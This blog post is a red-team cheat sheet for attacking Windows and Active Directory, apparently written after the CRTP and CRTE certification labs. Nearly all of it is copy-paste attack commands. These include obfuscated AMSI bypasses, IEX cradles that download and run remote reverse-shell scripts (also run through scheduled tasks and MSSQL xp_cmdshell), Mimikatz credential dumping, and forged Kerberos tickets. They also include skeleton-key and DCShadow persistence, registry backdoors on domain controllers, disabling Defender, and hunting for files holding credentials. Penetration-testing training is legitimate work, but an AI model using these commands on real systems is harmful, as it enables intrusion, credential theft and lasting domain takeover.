Updated November 13th, 2020

Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. It is largely aimed at completing these two certifications, but should be useful in a lot of cases when dealing with Windows / AD exploitation.

That being said - it is far from an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from this list just get in touch. I will try to keep it updated as much as possible!

Many items of this list are shamelessly stolen from Nikhil Mittal and the CRTP/CRTE curricula, so big thanks to them!

If you are looking for the cheat sheet and command reference I used for OSCP, please refer to this post.

Note: I tried to highlight some poor OpSec choices for typical red teaming engagements with 🚩. I will likely have missed some though, so, understand what you are running before you run it!

General

PowerShell AMSI Bypass

Unhooking AMSI will help bypass AV warnings triggered when executing PowerShell scripts that are marked as malicious (such as PowerView). Do not use as-is in covert operations, as they will get flagged 🚩. Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts.

‘Plain’ AMSI bypass:

[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils).GetField(amsiInitFailed,NonPublic,Static).SetValue($null,$true)

Obfuscation example for copy-paste purposes:

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Another bypass, which is not detected by PowerShell autologging:

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

More bypasses here. For obfuscation, check Invoke-Obfuscation.

PowerShell one-liners

Load file reflectively

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

Again, this will likely get flagged 🚩. For opsec-safe download cradles, check out Invoke-CradleCrafter.

Download file

# Any version

(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")

# Powershell 4+

## You can use 'IWR' as a shorthand

Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Incnspc64.exe"

Encode command

Encode one-liner:

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Encode existing script, copy to clipboard:

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip

Run it, bypassing execution policy.

Powershell -EncodedCommand $encodedCommand

If you have Nishang handy, you can use Invoke-Encode.ps1.

CobaltStrike Beacons

Spawn AV-evading EXE or DLL beacon from share, to avoid need for CobaltStrike built-in lateral movement.

# EXE
\\172.16.99.55\secret\beacon.exe

# DLL
rundll32 \\172.16.99.55\secret\beacon.dll,Update

Enumeration

AD Enumeration With PowerView

# Get all users in the current domain

Get-NetUser | select -ExpandProperty cn

# Get all computers in the current domain

Get-NetComputer

# Get all domains in current forest

Get-NetForestDomain

# Get domain/forest trusts

Get-NetDomainTrust
Get-NetForestTrust

# Get information for the DA group

Get-NetGroup -GroupName "Domain Admins"

# Find members of the DA group

Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC

# Get OUs for current domain

Get-NetOU -FullData

# Get computers in an OU

# %{} is a looping statement

Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}

# Get GPOs applied to a specific OU

Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain

Get-NetGPOGroup

# Get incoming ACL for a specific object

Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format

Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft


# Get interesting outgoing ACLs for a specific user or group

# ?{} is a filter statement

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

AppLocker

Identify AppLocker policy. Look for exempted binaries or paths to bypass. Look at LOLBAS if only signed binaries are allowed.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Exploitation

Powercat reverse shell

If a reverse shell to your Linux box is not an option ;).

powercat -l -p 443 -t 9999

Lateral Movement

Lateral Movement Enumeration With PowerView

# Find existing local admin access for user (noisy 🚩)

Find-LocalAdminAccess

# Find local admin access over PS remoting (also noisy 🚩), requires Find-PSRemotingLocalAdminAccess.ps1

Get-NetComputer -Domain dollarcorp.moneycorp.local > .\targets.txt
Find-PSRemotingLocalAdminAccess -ComputerFile .\targets.txt dcorp-std355

# Same for WMI. Requires 'Find-WMILocalAdminAccess.ps1', which seems to be removed from Nishang?

Find-WMILocalAdminAccess -ComputerFile .\targets.txt
Find-WMILocalAdminAccess # Finds domain computers automatically


# Hunt for sessions of interesting users on machines where you have access (still noisy 🚩)

Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users

Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users

Get-DomainUser -PreauthNotRequired | select name

# Look for users on which we can set UserAccountControl flags

## If available - disable preauth or add SPN (see below)

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Look for servers with Unconstrained Delegation enabled

## If available and you have admin privs on this server, get user TGT (see below)

Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled

## If available and you have user/computer hash, access service machine as DA (see below)

Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

BloodHound

Use Invoke-BloodHound from SharpHound.ps1, or use SharpHound.exe. Both can be ran reflectively.

# Run all checks if you don't care about OpSec 🚩

Invoke-BloodHound -CollectionMethod All

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩

Invoke-BloodHound -CollectionMethod LoggedOn

Kerberoasting

Automatic

With PowerView:

Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

Crack the hash with Hashcat:

hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Manual

# Request TGS for kerberoastable account (SPN)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

# Dump TGS to disk

Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack

python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

Make user kerberoastable by setting SPN

We need ACL permissions to set UserAccountControl flags for said user, see above for hunting. Using PowerView:

Set-DomainObject -Identity support355user -Set @{serviceprincipalname='any/thing'}

AS-REP roasting

Get the hash for a roastable user (see above for hunting). Using ASREPRoast.ps1:

Get-ASREPHash -UserName VPN355user

Crack the hash with Hashcat:

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Make user AS-REP roastable by disabling Kerberos pre-authentication

We need permissions to set UserAccountControl flags for said user, see above for hunting. Uses PowerView.

Set-DomainObject -Identity Control355User -XOR @{useraccountcontrol=4194304}

Token Manipulation

Tokens can be impersonated from other users with a session/running processes on the machine. A similar effect can be achieved by using e.g. CobaltStrike to inject into said processes.

Incognito

# Show tokens on the machine

.\incognito.exe list_tokens -u

# Start new process with token of a specific user

.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe

If you’re using Meterpreter, you can use the built-in Incognito module with use incognito, the same commands are available.

Invoke-TokenManipulation

# Show all tokens on the machine

Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine

Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user

Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# Start new process with token of another process

Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500

Mimikatz

# Overpass the hash
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:[NTLMHASH] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.domain.local /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

List of available SPNs for silver tickets: https://adsecurity.org/?page_id=183

Command execution with schtasks (requires ‘Host’ SPN)

To create a task:

# Mind the quotes. Use encoded commands if quoting becomes a pain.
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dcorp-dc.dollarcorp.moneycorp.local /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

To trigger it:

schtasks /RUN /TN "shell" /s dcorp-dc.dollarcorp.moneycorp.local

Command execution with WMI (requires ‘Host’ and ‘RPCSS’ SPNs)

From Windows

Invoke-WmiMethod win32_process -ComputerName dcorp-dc.dollarcorp.moneycorp.local -name create -argumentlist "powershell.exe -e $encodedCommand"

From Linux

# with password
impacket-wmiexec dcorp/student355:[email protected]

# with hash
impacket-wmiexec dcorp/[email protected] -hashes :92F4AE6DCDAC7CF870B79F1758503D54

Command execution with PowerShell Remoting (requires ‘HTTP’ SPN (and ‘HOST’ and/or ‘WSMAN’?))

This one is a bit tricky. I found it to work the least of the listed methods, a combination of the above SPNs may or may not work - also PowerShell may require the exact FQDN to be provided.

# Create credential as another user (if needed)

$SecPassword = ConvertTo-SecureString 'I l0ve going Fishing!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('CORP\pgibbons', $SecPassword)

# Run a command remotely (can be used one-to-many!)

Invoke-Command -Credential $Cred -ComputerName $computer -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password)

Enter-PsSession -Credential $Cred -ComputerName $computer -Credential dcorp\Administrator

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt

$sess = New-PsSession -Credential $Cred
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

PRO TIP: You can copy files into a PowerShell remoting session as follows:

Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess2 -Destination "C:\Users\dbprodadmin\documents\"

Unconstrained delegation

Getting TGTs from user sessions

With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. With Mimikatz:

sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

Or with Rubeus:

.\Rubeus.exe klist
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]

Using printer bug to gain DCSync privileges

We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.

.\Rubeus.exe monitor /interval:5 /nowrap

From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from here.

.\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local

The TGT for the machine account of the DC should come in in the first session. We can pass this ticket to gain DCSync privileges.

.\Rubeus.exe ptt /ticket:doIFxTCCBc...

Constrained delegation

If we have the hash for a user or computer that has constrained delegation set for a specific service, we can access the machine that that service is running on as administrator - no matter which service the delegation is set for!

We can request a TGT for the user which is allowed constrained delegation using their hash. After that, we can request a TGS for the target service, impersonating any identity. Since alternate services are not verified, we can request those for the machine on which constrained delegation is allowed.

Automatic

In this case, we use Rubeus to automatically request a TGT and then a TGS with the ldap SPN to allow us to DCSync using a machine account.

.\Rubeus.exe s4u /user:dcorp-adminsrv$ /rc4:5e77978a734e3a7f3895fb0fdbda3b96 /impersonateuser:Administrator /msdsspn:"time/dcorp-dc" /altservice:ldap /ptt

Manual

Using Kekeo:

# Ask TGT as compromised (machine) account that allows for constrained delegation
tgt::ask /domain:dollarcorp.moneycorp.local /user:websvc 

# Get TGS for service allowing for constrained delegation as this account
tgs::s4u /user:[email protected] /service:cifs/dcorp-mssql  /tgt:[email protected][email protected]rbi

# ALTERNATIVELY: Request TGS with alternate services as follows
tgs::s4u /user:[email protected] /service:cifs/dcorp-mssql|host/dcorp-mssql /tgt:[email protected][email protected]rbi

Then pass this ticket using Mimikatz to gain access to the service (CIFS and HOST in this case) as Administrator.

Abusing domain trust

Must be run with DA privileges.

Using domain trust key

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using Mimikatz, adding the SID for the target domain’s enterprise admins group to our ‘SID history’.

kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi

Pass with Rubeus.

Make sure you have the right version of Rubeus. For some reason, some of my compiled binaries were giving the error KDC_ERR_WRONG_REALM, while the CRTP-provided version worked without issue.

.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt

We can now DCSync the target domain (see below).

Using krbtgt hash

From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.

Use a SID History (/sids) of *-516 and S-1-5-9 to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.

kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:dcorp-dc$ /groups:516 /ptt

If you are having issues creating this ticket, try adding the ‘target’ flag, e.g. /target:moneycorp.local.

Alternatively, generate a domain admin ticket with SID history of EA group.

kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.

Abusing inter-forest trust

Note: Since a forest is a security boundary, we can only access resources and/or services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for foreign group memberships between forests.

Extract inter-forest trust key as in ‘Using domain trust key’ above.

Use Mimikatz to generate a TGT for the target domain using the trust key:

Kerberos::golden /user:Administrator /service:krbtgt /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:eurocorp.local /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:eucorp-tgt.kirbi

Then, use Rubeus to ask a TGS for e.g. the CIFS service on the target DC using this TGT.

.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).

Abusing linked MSSQL databases

MSSQL databases can be linked, such that if you compromise one you can execute queries (or even commands!) on others. This can even work across forests!

We can use PowerUpSQL to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or commands on, linked databases (even through multiple layers of database links).

# Get MSSQL databases in the domain, and test connectivity

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft


# Try to get information on all domain databases

Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database

Get-SQLServerInfo -Instance dcorp-mssql

# Scan for MSSQL misconfigurations to escalate to SA

Invoke-SQLAudit -Verbose -Instance UFC-SQLDEV

# Execute SQL query

Get-SQLQuery -Query "SELECT system_user" -Instance UFC-SQLDEV

# Run command (requires XP_CMDSHELL to be enabled)

Invoke-SQLOSCmd -Instance devsrv -Command "whoami" |  select -ExpandProperty CommandResults

# Automatically find all linked databases

Get-SqlServerLinkCrawl -Instance dcorp-mssql | select instance,links | ft


# Run command if XP_CMDSHELL is enabled on any of the linked databases

Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft


Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

Privilege Escalation

For more things to look for (both Windows and Linux), refer to my OSCP cheat sheet and command reference.

PowerUp

# Check for vulnerable programs and configs

Invoke-AllChecks

# Exploit vulnerable service permissions (does not require touching disk)

Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net localgroup Administrators domain\user /add"

# Exploit vulnerable service permissions to trigger stable beacon

Write-ServiceBinary -Name 'AbyssWebServer' -Command 'c:\windows\system32\rundll32 c:\Users\Student355\Downloads\go_dll_rtl_x64.dll,Update' -Path 'C:\WebServer\Abyss'
net stop AbyssWebServer
net start AbyssWebServer

UAC Bypass

Using SharpBypassUAC.

# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

Persistence

Startup folder

Just drop a binary. Classic 😎🚩

In current user folder, will trigger when current user signs in:

c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Or in the startup folder, requires administrative privileges but will trigger as SYSTEM on boot and when any user signs on:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Domain Persistence

Must be run with DA privileges.

Mimikatz skeleton key attack

Run from DC. Enables password “mimikatz” for all users 🚩.

privilege::debug
misc::skeleton

Grant specific user DCSync rights with PowerView

Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.

Add-ObjectACL -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName student355 -Rights DCSync

Domain Controller DSRM admin

The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Now we can login remotely using the local admin hash dumped on the DC before (with lsadump::sam, see ‘Dumping secrets with Mimikatz’ below). Use e.g. ‘overpass the hash’ to get a session (see ‘Mimikatz’ above).

Modifying security descriptors for remote WMI access

Give user WMI access to a machine, using Set-RemoteWMI.ps1 cmdlet. Can be run to persist access to e.g. DCs.

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2'

For execution, see ‘Command execution with WMI’ above.

Modifying security descriptors for PowerShell Remoting access

Give user PowerShell Remoting access to a machine, using Set-RemotePSRemoting.ps1 cmdlet. Can be run to persist access to e.g. DCs.

Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local

For execution, see ‘Command execution with PowerShell Remoting’ above.

Modifying DC registry security descriptors for remote hash retrieval using DAMP

Using DAMP toolkit, we can backdoor the DC registry to give us access on the SAM, SYSTEM, and SECURITY registry hives. This allows us to remotely dump DC secrets (hashes).

We add the backdoor using the Add-RemoteRegBackdoor.ps1 cmdlet from DAMP.

Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee Student355

Dump secrets remotely using the RemoteHashRetrieval.ps1 cmdlet from DAMP (run as ‘Trustee’ user).

# Get machine account hash for silver ticket attack

Get-RemoteMachineAccountHash -ComputerName dcorp-dc

# Get local account hashes

Get-RemoteLocalAccountHash -ComputerName dcorp-dc

# Get cached credentials (if any)

Get-RemoteCachedCredential -ComputerName dcorp-dc

DCShadow

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses Set-DCShadowPermissions.ps1 cmdlet).

Set-DCShadowPermissions -FakeDC mcorp-student35 -SamAccountName root355user -Username student355 -Verbose

Then, from any machine, use Mimikatz to stage the DCShadow attack.

# Set SPN for user
lsadump::dcshadow /object:root355user /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:root355user /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

## Then get target user SID:
Get-NetUser -UserName student355 | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-1874506631-3219952063-538504511-45109)

Finally, from either a DA session OR a session as the user provided with the DCShadowPermissions before, run the DCShadow attack. Actions staged previously will be performed without leaving logs 😈

lsadump::dcshadow /push

Post-Exploitation

Dumping secrets with Mimikatz

# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it _writes_ to LSASS 🚩
lsadump::lsa /patch

# Dump only local users
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:dcorp\krbtgt /domain:dollarcorp.moneycorp.local

Windows Credential Vault dumping

I’ve had some issues using this with Invoke-Mimikatz.ps1. Try with native Mimikatz if having issues.

# Dump windows secrets, such as stored creds for scheduled tasks (elevate first)
vault::list
vault::cred /patch

# Dump windows secrets DPAPI method (less noise and no specific rights reqd yay)
## More here: https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
## First, get GUID of master key for specific secret
dpapi::cred /in:C:\Users\appadmin\AppData\local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

## EITHER Grab dpapi keys from LSASS
sekurlsa::dpapi

## OR Grab and cache a specific key
dpapi::masterkey /rpc /in:C:\Users\appadmin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3965405831-1015596948-2589850225-1118\a89b97d2-b520-462d-a924-d57df68c543b

## Mimikatz will cache the master key (check with dpapi::cache)
## Then run the initial dpapi::cred command again to get the juice!

Dumping secrets without Mimikatz

On target:

reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\system.save
reg.exe save hklm\security c:\users\public\downloads\security.save

On attacker Linux machine:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

Disable defender

👀🚩

Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableIOAVProtection $true

Chisel proxying

Just an example on how to set up a Socks proxy to chisel over a compromised host. There are many more things you can do with Chisel!

On attacker machine (Linux or Windows):

./chisel server -p 8888 --reverse

On target:

.\chisel_windows_386.exe client 10.10.16.7:8888 R:8001:127.0.0.1:9001

Now we are listening on localhost:8001 on our attacking machine to forward that traffic to target:9001.

Then, open the Socks server. On target:

.\chisel_windows_386.exe server -p 9001 --socks5

On attacking machine:

./chisel client localhost:8001 socks

A proxy is now open on port 1080 of our attacking machine.

Juicy files

There are lots of files that may contain interesting information. Tools like WinPEAS or collections like PowerSploit may help in identifying juicy files (for privesc or post-exploitation).

Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.

In addition, don’t forget to enumerate any local databases with sqlcmd or Invoke-SqlCmd!

# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name "Password" | select -ExpandProperty Password